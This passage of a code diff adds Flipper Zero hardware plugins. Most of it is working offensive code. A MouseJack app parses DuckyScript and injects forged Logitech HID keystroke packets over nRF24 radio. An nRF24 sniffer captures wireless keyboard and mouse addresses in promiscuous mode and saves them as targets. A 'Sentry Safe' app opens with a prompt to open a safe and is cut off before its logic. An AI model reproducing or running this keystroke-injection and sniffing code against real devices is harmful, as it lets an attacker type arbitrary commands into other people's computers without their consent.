FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
mousejacker_state_init(plugin_state);
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Storage* storage = furi_record_open("storage");
storage_common_mkdir(storage, MOUSEJACKER_APP_PATH_FOLDER);
Stream* file_stream = file_stream_alloc(storage);
// spawn load file dialog to choose sniffed addresses file
if(load_addrs_file(file_stream)) {
addr_idx = 0;
hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
plugin_state->addr_err = false;
} else {
plugin_state->addr_err = true;
}
stream_free(file_stream);
nrf24_init();
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {
case InputKeyUp:
break;
case InputKeyDown:
break;
case InputKeyRight:
if(!plugin_state->addr_err) {
addr_idx++;
if(addr_idx > addrs_count) addr_idx = 0;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyLeft:
if(!plugin_state->addr_err) {
addr_idx--;
if(addr_idx == 0) addr_idx = addrs_count - 1;
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
}
break;
case InputKeyOk:
if(!plugin_state->addr_err) {
file_stream = file_stream_alloc(storage);
nrf24_find_channel(
nrf24_HANDLE,
loaded_addrs[addr_idx] + 1,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0],
2,
LOGITECH_MAX_CHANNEL,
true);
ducky_ok = process_ducky_file(
view_port,
plugin_state,
file_stream,
loaded_addrs[addr_idx] + 1,
5,
loaded_addrs[addr_idx][0]);
if(!ducky_ok) {
plugin_state->ducky_err = true;
} else {
plugin_state->ducky_err = false;
}
stream_free(file_stream);
}
break;
case InputKeyBack:
processing = false;
break;
}
}
}
} else {
FURI_LOG_D("mousejacker", "furi_message_queue: event timeout");
// event timeout
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_hal_spi_release(nrf24_HANDLE);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
furi_record_close("storage");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -0,0 +1,355 @@
#include "mousejacker_ducky.h"
static const char ducky_cmd_comment[] = {"REM"};
static const char ducky_cmd_delay[] = {"DELAY "};
static const char ducky_cmd_string[] = {"STRING "};
static const char ducky_cmd_repeat[] = {"REPEAT "};
static uint8_t LOGITECH_HID_TEMPLATE[] =
{0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED};
static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B};
uint8_t prev_hid = 0;
#define RT_THRESHOLD 50
#define LOGITECH_MIN_CHANNEL 2
#define LOGITECH_MAX_CHANNEL 83
#define LOGITECH_KEEPALIVE_SIZE 5
#define LOGITECH_HID_TEMPLATE_SIZE 10
#define LOGITECH_HELLO_SIZE 10
#define TAG "mousejacker_ducky"
MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2},
{"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2},
{"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2},
{")", 39, 2}, {"*", 37, 2}, {"+", 46, 2},
{",", 54, 0}, {"-", 45, 0}, {".", 55, 0},
{"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0},
{"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0},
{"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0},
{"8", 37, 0}, {"9", 38, 0}, {":", 51, 2},
{";", 51, 0}, {"<", 54, 2}, {"=", 46, 0},
{">", 55, 2}, {"?", 56, 2}, {"@", 31, 2},
{"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2},
{"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2},
{"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2},
{"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2},
{"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2},
{"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2},
{"S", 22, 2}, {"T", 23, 2}, {"U", 24, 2},
{"V", 25, 2}, {"W", 26, 2}, {"X", 27, 2},
{"Y", 28, 2}, {"Z", 29, 2}, {"[", 47, 0},
{"\\", 49, 0}, {"]", 48, 0}, {"^", 35, 2},
{"_", 45, 2}, {"`", 53, 0}, {"a", 4, 0},
{"b", 5, 0}, {"c", 6, 0}, {"d", 7, 0},
{"e", 8, 0}, {"f", 9, 0}, {"g", 10, 0},
{"h", 11, 0}, {"i", 12, 0}, {"j", 13, 0},
{"k", 14, 0}, {"l", 15, 0}, {"m", 16, 0},
{"n", 17, 0}, {"o", 18, 0}, {"p", 19, 0},
{"q", 20, 0}, {"r", 21, 0}, {"s", 22, 0},
{"t", 23, 0}, {"u", 24, 0}, {"v", 25, 0},
{"w", 26, 0}, {"x", 27, 0}, {"y", 28, 0},
{"z", 29, 0}, {"{", 47, 2}, {"|", 49, 2},
{"}", 48, 2}, {"~", 53, 2}, {"BACKSPACE", 42, 0},
{"", 0, 0}, {"ALT", 0, 4}, {"SHIFT", 0, 2},
{"CTRL", 0, 1}, {"GUI", 0, 8}, {"SCROLLLOCK", 71, 0},
{"ENTER", 40, 0}, {"F12", 69, 0}, {"HOME", 74, 0},
{"F10", 67, 0}, {"F9", 66, 0}, {"ESCAPE", 41, 0},
{"PAGEUP", 75, 0}, {"TAB", 43, 0}, {"PRINTSCREEN", 70, 0},
{"F2", 59, 0}, {"CAPSLOCK", 57, 0}, {"F1", 58, 0},
{"F4", 61, 0}, {"F6", 63, 0}, {"F8", 65, 0},
{"DOWNARROW", 81, 0}, {"DELETE", 42, 0}, {"RIGHT", 79, 0},
{"F3", 60, 0}, {"DOWN", 81, 0}, {"DEL", 76, 0},
{"END", 77, 0}, {"INSERT", 73, 0}, {"F5", 62, 0},
{"LEFTARROW", 80, 0}, {"RIGHTARROW", 79, 0}, {"PAGEDOWN", 78, 0},
{"PAUSE", 72, 0}, {"SPACE", 44, 0}, {"UPARROW", 82, 0},
{"F11", 68, 0}, {"F7", 64, 0}, {"UP", 82, 0},
{"LEFT", 80, 0}};
/*
static bool mj_ducky_get_number(const char* param, uint32_t* val) {
uint32_t value = 0;
if(sscanf(param, "%lu", &value) == 1) {
*val = value;
return true;
}
return false;
}
*/
static uint32_t mj_ducky_get_command_len(const char* line) {
uint32_t len = strlen(line);
for(uint32_t i = 0; i < len; i++) {
if(line[i] == ' ') return i;
}
return 0;
}
static bool mj_get_ducky_key(char* key, size_t keylen, MJDuckyKey* dk) {
//FURI_LOG_I(TAG, "looking up key %s with length %d", key, keylen);
for(uint i = 0; i < sizeof(mj_ducky_keys) / sizeof(MJDuckyKey); i++) {
if(!strncmp(mj_ducky_keys[i].name, key, keylen)) {
memcpy(dk, &mj_ducky_keys[i], sizeof(MJDuckyKey));
return true;
}
}
return false;
}
static void checksum(uint8_t* payload, uint len) {
// This is also from the KeyKeriki paper
// Thanks Thorsten and Max!
uint8_t cksum = 0xff;
for(uint n = 0; n < len - 2; n++) cksum = (cksum - payload[n]) & 0xff;
cksum = (cksum + 1) & 0xff;
payload[len - 1] = cksum;
}
static void inject_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t* payload,
size_t payload_size) {
uint8_t rt_count = 0;
while(1) {
if(nrf24_txpacket(handle, payload, payload_size, true)) break;
rt_count++;
// retransmit threshold exceeded, scan for new channel
if(rt_count > RT_THRESHOLD) {
if(nrf24_find_channel(
handle,
addr,
addr,
addr_size,
rate,
LOGITECH_MIN_CHANNEL,
LOGITECH_MAX_CHANNEL,
true) > LOGITECH_MAX_CHANNEL)
return; // fail
rt_count = 0;
}
}
}
static void build_hid_packet(uint8_t mod, uint8_t hid, uint8_t* payload) {
memcpy(payload, LOGITECH_HID_TEMPLATE, LOGITECH_HID_TEMPLATE_SIZE);
payload[2] = mod;
payload[3] = hid;
checksum(payload, LOGITECH_HID_TEMPLATE_SIZE);
}
static void send_hid_packet(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
uint8_t mod,
uint8_t hid) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
build_hid_packet(0, 0, hid_payload);
if(hid == prev_hid)
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
prev_hid = hid;
build_hid_packet(mod, hid, hid_payload);
inject_packet(handle, addr, addr_size, rate, hid_payload, LOGITECH_HID_TEMPLATE_SIZE);
furi_delay_ms(12);
}
// returns false if there was an error processing script line
static bool mj_process_ducky_line(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* line,
char* prev_line) {
MJDuckyKey dk;
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* line_tmp = line;
uint32_t line_len = strlen(line);
for(uint32_t i = 0; i < line_len; i++) {
if((line_tmp[i] != ' ') && (line_tmp[i] != '\t') && (line_tmp[i] != '\n')) {
line_tmp = &line_tmp[i];
break; // Skip spaces and tabs
}
if(i == line_len - 1) return true; // Skip empty lines
}
FURI_LOG_I(TAG, "line: %s", line_tmp);
// General commands
if(strncmp(line_tmp, ducky_cmd_comment, strlen(ducky_cmd_comment)) == 0) {
// REM - comment line
return true;
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
// DELAY
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
uint32_t delay_val = 0;
delay_val = atoi(line_tmp);
if(delay_val > 0) {
uint32_t delay_count = delay_val / 10;
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet
for(uint32_t i = 0; i < delay_count; i++) {
inject_packet(
handle, addr, addr_size, rate, LOGITECH_KEEPALIVE, LOGITECH_KEEPALIVE_SIZE);
furi_delay_ms(10);
}
return true;
}
return false;
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
// STRING
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
for(size_t i = 0; i < strlen(line_tmp); i++) {
if(!mj_get_ducky_key(&line_tmp[i], 1, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
}
return true;
} else if(strncmp(line_tmp, ducky_cmd_repeat, strlen(ducky_cmd_repeat)) == 0) {
// REPEAT
uint32_t repeat_cnt = 0;
if(prev_line == NULL) return false;
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
repeat_cnt = atoi(line_tmp);
if(repeat_cnt < 2) return false;
FURI_LOG_I(TAG, "repeating %s %d times", prev_line, repeat_cnt);
for(uint32_t i = 0; i < repeat_cnt; i++)
mj_process_ducky_line(handle, addr, addr_size, rate, prev_line, NULL);
return true;
} else if(strncmp(line_tmp, "ALT", strlen("ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4, dk.hid);
return true;
} else if(
strncmp(line_tmp, "GUI", strlen("GUI")) == 0 ||
strncmp(line_tmp, "WINDOWS", strlen("WINDOWS")) == 0 ||
strncmp(line_tmp, "COMMAND", strlen("COMMAND")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 8, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL-ALT", strlen("CTRL-ALT")) == 0 ||
strncmp(line_tmp, "CONTROL-ALT", strlen("CONTROL-ALT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 1, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL-SHIFT", strlen("CTRL-SHIFT")) == 0 ||
strncmp(line_tmp, "CONTROL-SHIFT", strlen("CONTROL-SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 4 | 2, dk.hid);
return true;
} else if(
strncmp(line_tmp, "CTRL", strlen("CTRL")) == 0 ||
strncmp(line_tmp, "CONTROL", strlen("CONTROL")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 1, dk.hid);
return true;
} else if(strncmp(line_tmp, "SHIFT", strlen("SHIFT")) == 0) {
line_tmp = &line_tmp[mj_ducky_get_command_len(line_tmp) + 1];
if(!mj_get_ducky_key(line_tmp, strlen(line_tmp), &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod | 2, dk.hid);
return true;
} else if(
strncmp(line_tmp, "ESC", strlen("ESC")) == 0 ||
strncmp(line_tmp, "APP", strlen("APP")) == 0 ||
strncmp(line_tmp, "ESCAPE", strlen("ESCAPE")) == 0) {
if(!mj_get_ducky_key("ESCAPE", 6, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(strncmp(line_tmp, "ENTER", strlen("ENTER")) == 0) {
if(!mj_get_ducky_key("ENTER", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "UP", strlen("UP")) == 0 ||
strncmp(line_tmp, "UPARROW", strlen("UPARROW")) == 0) {
if(!mj_get_ducky_key("UP", 2, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "DOWN", strlen("DOWN")) == 0 ||
strncmp(line_tmp, "DOWNARROW", strlen("DOWNARROW")) == 0) {
if(!mj_get_ducky_key("DOWN", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "LEFT", strlen("LEFT")) == 0 ||
strncmp(line_tmp, "LEFTARROW", strlen("LEFTARROW")) == 0) {
if(!mj_get_ducky_key("LEFT", 4, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(
strncmp(line_tmp, "RIGHT", strlen("RIGHT")) == 0 ||
strncmp(line_tmp, "RIGHTARROW", strlen("RIGHTARROW")) == 0) {
if(!mj_get_ducky_key("RIGHT", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
} else if(strncmp(line_tmp, "SPACE", strlen("SPACE")) == 0) {
if(!mj_get_ducky_key("SPACE", 5, &dk)) return false;
send_hid_packet(handle, addr, addr_size, rate, dk.mod, dk.hid);
return true;
}
return false;
}
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script) {
uint8_t hid_payload[LOGITECH_HID_TEMPLATE_SIZE] = {0};
char* prev_line = NULL;
inject_packet(handle, addr, addr_size, rate, LOGITECH_HELLO, LOGITECH_HELLO_SIZE);
char* line = strtok(script, "\n");
while(line != NULL) {
if(strcmp(&line[strlen(line) - 1], "\r") == 0) line[strlen(line) - 1] = (char)0;
if(!mj_process_ducky_line(handle, addr, addr_size, rate, line, prev_line))
FURI_LOG_I(TAG, "unable to process ducky script line: %s", line);
prev_line = line;
line = strtok(NULL, "\n");
}
build_hid_packet(0, 0, hid_payload);
inject_packet(
handle,
addr,
addr_size,
rate,
hid_payload,
LOGITECH_HID_TEMPLATE_SIZE); // empty hid packet at end
}

View file

@ -0,0 +1,31 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
#include <stdint.h>
#include <furi_hal_spi.h>
#include <stdio.h>
#include <string.h>
#include <nrf24.h>
#include <furi.h>
#include <furi_hal.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct {
char* name;
uint8_t hid;
uint8_t mod;
} MJDuckyKey;
void mj_process_ducky_script(
FuriHalSpiBusHandle* handle,
uint8_t* addr,
uint8_t addr_size,
uint8_t rate,
char* script);
#ifdef __cplusplus
}
#endif

View file

@ -0,0 +1,10 @@
App(
appid="nrf_sniff",
name="[HW] NRF24: Sniffer",
apptype=FlipperAppType.PLUGIN,
entry_point="nrfsniff_app",
cdefines=["APP_NRFSNIFF"],
requires=["gui"],
stack_size=2 * 1024,
order=70,
)

View file

@ -0,0 +1,415 @@
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal_gpio.h>
#include <furi_hal_spi.h>
#include <furi_hal_interrupt.h>
#include <furi_hal_resources.h>
#include <nrf24.h>
#include <toolbox/stream/file_stream.h>
#define LOGITECH_MAX_CHANNEL 85
#define COUNT_THRESHOLD 4
#define SAMPLE_TIME 20000
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
#define NRFSNIFF_APP_FILENAME "addresses.txt"
#define TAG "nrfsniff"
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int x;
int y;
} PluginState;
char rate_text_fmt[] = "Transfer rate: %dMbps";
char channel_text_fmt[] = "Channel: %d";
char preamble_text_fmt[] = "Preamble: %02X";
char sniff_text_fmt[] = "Sniffing: %s";
char addresses_header_text[] = "Address,rate";
char sniffed_address_fmt[] = "%s,%d";
char rate_text[46];
char channel_text[42];
char preamble_text[14];
char sniff_text[38];
char sniffed_address[14];
uint8_t target_channel = 0;
uint8_t target_rate = 8; // rate can be either 8 (2Mbps) or 0 (1Mbps)
uint8_t target_preamble[] = {0xAA, 0x00};
uint8_t sniffing_state = false;
char top_address[12];
uint8_t candidates[100][5] = {0}; // top 100 recurring addresses
uint32_t counts[100];
uint8_t total_candidates = 0;
uint8_t last_cleanup_idx = 101; // avoid replacing the last replaced addr
static int get_addr_index(uint8_t* addr, uint8_t addr_size) {
for(int i = 0; i < total_candidates; i++) {
uint8_t* arr_item = candidates[i];
if(!memcmp(arr_item, addr, addr_size)) return i;
}
return -1;
}
/*
static uint32_t get_addr_count(uint8_t* addr, uint8_t addr_size)
{
return counts[get_addr_index(addr, addr_size)];
}
*/
static uint8_t get_lowest_idx() {
uint32_t lowest = 10000;
uint8_t lowest_idx = 0;
for(uint8_t i = 0; i < total_candidates; i++) {
if(i == last_cleanup_idx) continue;
if(counts[i] < lowest) {
lowest = counts[i];
lowest_idx = i;
}
}
last_cleanup_idx = lowest_idx;
return lowest_idx;
}
static uint8_t get_highest_idx() {
uint32_t highest = 0;
uint8_t highest_idx = 0;
for(uint8_t i = 0; i < total_candidates; i++) {
if(counts[i] > highest) {
highest = counts[i];
highest_idx = i;
}
}
return highest_idx;
}
static void insert_addr(uint8_t* addr, uint8_t addr_size) {
uint8_t idx = total_candidates;
if(total_candidates > 99) {
// replace addr with lowest count
idx = get_lowest_idx();
}
memcpy(candidates[idx], addr, addr_size);
counts[idx] = 1;
if(total_candidates < 100) total_candidates++;
}
static void render_callback(Canvas* const canvas, void* ctx) {
uint8_t rate = 2;
char sniffing[] = "Yes";
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
// border around the edge of the screen
canvas_draw_frame(canvas, 0, 0, 128, 64);
canvas_set_font(canvas, FontSecondary);
if(target_rate == 0) rate = 1;
if(!sniffing_state) strcpy(sniffing, "No");
sprintf(rate_text, rate_text_fmt, (int)rate);
sprintf(channel_text, channel_text_fmt, (int)target_channel);
sprintf(preamble_text, preamble_text_fmt, target_preamble[0]);
sprintf(sniff_text, sniff_text_fmt, sniffing);
sprintf(sniffed_address, sniffed_address_fmt, top_address, (int)rate);
canvas_draw_str_aligned(canvas, 10, 10, AlignLeft, AlignBottom, rate_text);
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, channel_text);
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, preamble_text);
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, sniff_text);
canvas_draw_str_aligned(canvas, 30, 50, AlignLeft, AlignBottom, addresses_header_text);
canvas_draw_str_aligned(canvas, 30, 60, AlignLeft, AlignBottom, sniffed_address);
release_mutex((ValueMutex*)ctx, plugin_state);
}
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}
static void hexlify(uint8_t* in, uint8_t size, char* out) {
memset(out, 0, size * 2);
for(int i = 0; i < size; i++) sprintf(out + strlen(out), "%02X", in[i]);
}
static bool save_addr_to_file(Storage* storage, uint8_t* data, uint8_t size) {
size_t file_size = 0;
uint8_t linesize = 0;
char filepath[42] = {0};
char addrline[14] = {0};
char ending[4];
uint8_t* file_contents;
uint8_t rate = 1;
Stream* stream = file_stream_alloc(storage);
if(target_rate == 8) rate = 2;
sprintf(ending, ",%d\n", rate);
hexlify(data, size, addrline);
strcat(addrline, ending);
linesize = strlen(addrline);
strcpy(filepath, NRFSNIFF_APP_PATH_FOLDER);
strcat(filepath, "/");
strcat(filepath, NRFSNIFF_APP_FILENAME);
stream_seek(stream, 0, StreamOffsetFromStart);
// check if address already exists in file
if(file_stream_open(stream, filepath, FSAM_READ, FSOM_OPEN_EXISTING)) {
bool found = false;
file_size = stream_size(stream);
stream_seek(stream, 0, StreamOffsetFromStart);
if(file_size > 0) {
file_contents = malloc(file_size + 1);
memset(file_contents, 0, file_size + 1);
if(stream_read(stream, file_contents, file_size) > 0) {
char* line = strtok((char*)file_contents, "\n");
while(line != NULL) {
if(!memcmp(line, addrline, 12)) {
found = true;
break;
}
line = strtok(NULL, "\n");
}
}
free(file_contents);
}
stream_free(stream);
if(found) return false;
stream = file_stream_alloc(storage);
stream_seek(stream, 0, StreamOffsetFromStart);
}
// save address to file
if(!file_stream_open(stream, filepath, FSAM_WRITE, FSOM_OPEN_APPEND))
FURI_LOG_I(TAG, "Cannot open file \"%s\"", filepath);
if(stream_write(stream, (uint8_t*)addrline, linesize) != linesize)
FURI_LOG_I(TAG, "failed to write bytes to file stream");
FURI_LOG_I(TAG, "save successful");
stream_free(stream);
return true;
}
void alt_address(uint8_t* addr, uint8_t* altaddr) {
uint8_t macmess_hi_b[4];
uint32_t macmess_hi;
uint8_t macmess_lo;
uint8_t preserved;
uint8_t tmpaddr[5];
// swap bytes
for(int i = 0; i < 5; i++) tmpaddr[i] = addr[4 - i];
// get address into 32-bit and 8-bit variables
memcpy(macmess_hi_b, tmpaddr, 4);
macmess_lo = tmpaddr[4];
macmess_hi = bytes_to_int32(macmess_hi_b, true);
//preserve lowest bit from hi to shift to low
preserved = macmess_hi & 1;
macmess_hi >>= 1;
macmess_lo >>= 1;
macmess_lo = (preserved << 7) | macmess_lo;
int32_to_bytes(macmess_hi, macmess_hi_b, true);
memcpy(tmpaddr, macmess_hi_b, 4);
tmpaddr[4] = macmess_lo;
// swap bytes back
for(int i = 0; i < 5; i++) altaddr[i] = tmpaddr[4 - i];
}
static void wrap_up(Storage* storage) {
uint8_t ch;
uint8_t addr[5];
uint8_t altaddr[5];
char trying[12];
uint8_t idx;
uint8_t rate = 0;
if(target_rate == 8) rate = 2;
nrf24_set_idle(nrf24_HANDLE);
while(true) {
idx = get_highest_idx();
if(counts[idx] < COUNT_THRESHOLD) break;
counts[idx] = 0;
memcpy(addr, candidates[idx], 5);
hexlify(addr, 5, trying);
FURI_LOG_I(TAG, "trying address %s", trying);
ch = nrf24_find_channel(nrf24_HANDLE, addr, addr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
if(ch > LOGITECH_MAX_CHANNEL) {
alt_address(addr, altaddr);
hexlify(altaddr, 5, trying);
FURI_LOG_I(TAG, "trying alternate address %s", trying);
ch = nrf24_find_channel(
nrf24_HANDLE, altaddr, altaddr, 5, rate, 2, LOGITECH_MAX_CHANNEL, false);
FURI_LOG_I(TAG, "find_channel returned %d", (int)ch);
memcpy(addr, altaddr, 5);
}
if(ch <= LOGITECH_MAX_CHANNEL) {
hexlify(addr, 5, top_address);
save_addr_to_file(storage, addr, 5);
break;
}
}
}
static void start_sniffing() {
memset(candidates, 0, sizeof(candidates));
memset(counts, 0, sizeof(counts));
nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate);
}
int32_t nrfsniff_app(void* p) {
UNUSED(p);
uint8_t address[5] = {0};
uint32_t start = 0;
hexlify(address, 5, top_address);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
PluginState* plugin_state = malloc(sizeof(PluginState));
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
FURI_LOG_E(TAG, "cannot create mutex\r\n");
free(plugin_state);
return 255;
}
nrf24_init();
// Set system callbacks
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
view_port_input_callback_set(view_port, input_callback, event_queue);
// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
Storage* storage = furi_record_open("storage");
storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER);
PluginEvent event;
for(bool processing = true; processing;) {
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress ||
(event.input.type == InputTypeLong && event.input.key == InputKeyBack)) {
switch(event.input.key) {
case InputKeyUp:
// toggle rate 1/2Mbps
if(!sniffing_state) {
if(target_rate == 0)
target_rate = 8;
else
target_rate = 0;
}
break;
case InputKeyDown:
// toggle preamble
if(!sniffing_state) {
if(target_preamble[0] == 0x55)
target_preamble[0] = 0xAA;
else
target_preamble[0] = 0x55;
nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2);
}
break;
case InputKeyRight:
// increment channel
if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL)
target_channel++;
break;
case InputKeyLeft:
// decrement channel
if(!sniffing_state && target_channel > 0) target_channel--;
break;
case InputKeyOk:
// toggle sniffing
sniffing_state = !sniffing_state;
if(sniffing_state) {
start_sniffing();
start = furi_get_tick();
} else
wrap_up(storage);
break;
case InputKeyBack:
if(event.input.type == InputTypeLong) processing = false;
break;
}
}
}
} else {
FURI_LOG_D(TAG, "osMessageQueue: event timeout");
// event timeout
}
if(sniffing_state) {
if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) {
int idx;
uint8_t* top_addr;
idx = get_addr_index(address, 5);
if(idx == -1)
insert_addr(address, 5);
else
counts[idx]++;
top_addr = candidates[get_highest_idx()];
hexlify(top_addr, 5, top_address);
}
if(furi_get_tick() - start >= SAMPLE_TIME) {
wrap_up(storage);
target_channel++;
if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2;
start_sniffing();
start = furi_get_tick();
}
}
view_port_update(view_port);
release_mutex(&state_mutex, plugin_state);
}
furi_hal_spi_release(nrf24_HANDLE);
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
furi_record_close("storage");
view_port_free(view_port);
furi_message_queue_free(event_queue);
return 0;
}

View file

@ -0,0 +1,10 @@
App(
appid="sentry_safe",
name="[HW] Sentry Safe",
apptype=FlipperAppType.PLUGIN,
entry_point="sentry_safe_app",
cdefines=["APP_SENTRY_SAFE"],
requires=["gui"],
stack_size=1 * 1024,
order=80,
)

View file

@ -0,0 +1,166 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#include <furi_hal.h>
typedef struct {
uint8_t status;
} SentryState;
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} Event;
const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"};
static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) {
const SentryState* sentry_state = acquire_mutex((ValueMutex*)ctx, 25);
if(sentry_state == NULL) {
return;
}
// Before the function is called, the state is set with the canvas_reset(canvas)
// Frame
canvas_draw_frame(canvas, 0, 0, 128, 64);
// Message
canvas_set_font(canvas, FontPrimary);
